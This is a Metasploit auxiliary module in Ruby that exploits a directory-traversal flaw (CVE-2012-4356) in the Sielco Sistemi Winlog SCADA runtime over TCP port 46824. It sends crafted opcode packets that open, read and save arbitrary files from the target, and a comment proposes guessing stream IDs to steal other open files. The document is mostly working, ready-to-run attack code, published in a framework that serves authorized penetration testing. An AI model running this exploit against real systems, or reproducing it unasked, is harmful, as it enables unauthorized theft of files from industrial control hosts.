Sielco Sistemi Winlog Remote File Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sielco Sistemi Winlog Remote File Access',
      'Description'    => %q{
          This module exploits a directory traversal in Sielco Sistemi Winlog. The vulnerability
        exists in the Runtime.exe service and can be triggered by sending a specially crafted packet
        to the 46824/TCP port. This module has been successfully tested on Sielco Sistemi Winlog Lite
        2.07.14.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4356' ],
          [ 'OSVDB', '83275' ],
          [ 'BID', '54212' ],
          [ 'EDB', '19409'],
          [ 'URL', 'http://aluigi.altervista.org/adv/winlog_2-adv.txt' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(46824),
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/WINDOWS/system32/drivers/etc/hosts']),
        OptInt.new('DEPTH', [true, 'Traversal depth', 10])
      ])
  end

  def run_host(ip)
    # No point to continue if no filename is specified
    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
      print_error("#{ip}:#{rport} - Please supply the name of the file you want to download")
      return
    end

    travs = "../" * datastore['DEPTH']
    if datastore['FILEPATH'][0] == "/"
      travs << datastore['FILEPATH'][1, datastore['FILEPATH'].length]
    else
      travs << datastore['FILEPATH']
    end

    connect

    # Open File through _TCPIPS_BinOpenFileFP
    packet = "\x00" * 20
    packet << "\x78" # Opcode
    packet << travs # Path traversal
    packet << "\x00"
    sock.put(packet)
    response = sock.get_once(5, 1) || ''

    if response.unpack("C").first != 0x78
      print_error "#{ip}:#{rport} - Error opening file"
      return
    end
    # The stream allows to identify our file since the
    # server could be handling multiple files simultaneously.
    # Since the stream identifier is just an offset in an array
    # of opened streams it could be used to guess other files
    # opened by the server and stole them :-) just an idea....
    stream = response[1, 4]

    # Get File Length through _TCPIPS_BinGetFileSizeFP
    packet = "\x00" * 20
    packet << "\x79" # Opcode
    packet << stream # stream
    packet << "\x00" * 7
    sock.put(packet)
    response = sock.get_once(5, 1) || ''

    if response.unpack("C").first != 0x79
      print_error "#{ip}:#{rport} - Error getting the file length"
      return
    end
    file_length = response[1,4].unpack("V").first


    # Read File with the help of _TCPIPS_BinGetStringRecordFP
    contents = ""
    offset = 0
    while contents.length < file_length
      packet = "\x00" * 20
      packet << "\x98" # Opcode
      packet << [offset].pack("V") # offset (blocks of 0x55)
      packet << stream # stream
      packet << "\x00" * 3
      sock.put(packet)
      response = ""

      while response.length < 0x7ac # Packets of 0x7ac (header (0x9) + block of data (0x7a3))
        response << sock.get_once(0x7ac-response.length, 5) || ''
      end
      if response.unpack("C").first != 0x98
        print_error "#{ip}:#{rport} - Error reading the file, anyway we're going to try to finish"
      end

      if (file_length - contents.length) < response.length - 9
        contents << response[9, file_length - contents.length] # last packet
      else
        contents << response[9, response.length] # no last packet
      end

      offset = offset + 0x17 # 17 blocks in every packet
    end

    # Close File through _TCPIPS_BinCloseFileFP
    packet = "\x00" * 20
    packet << "\x7B"
    packet << "\x00" * 11
    sock.put(packet)
    response = sock.get_once(-1, 1) || ''
    if response.unpack("C").first != 0x7B
      print_error "#{ip}:#{rport} - Error closing file file, anyway we're going to try to finish"
    end

    disconnect

    print_good "#{ip}:#{rport} - File retrieved successfully!"

    fname = File.basename(datastore['FILEPATH'])
    path = store_loot(
      'sielcosistemi.winlog',
      'application/octet-stream',
      ip,
      contents,
      fname,
      datastore['FILEPATH']
    )
    print_status("#{ip}:#{rport} - File saved in: #{path}")

  end
end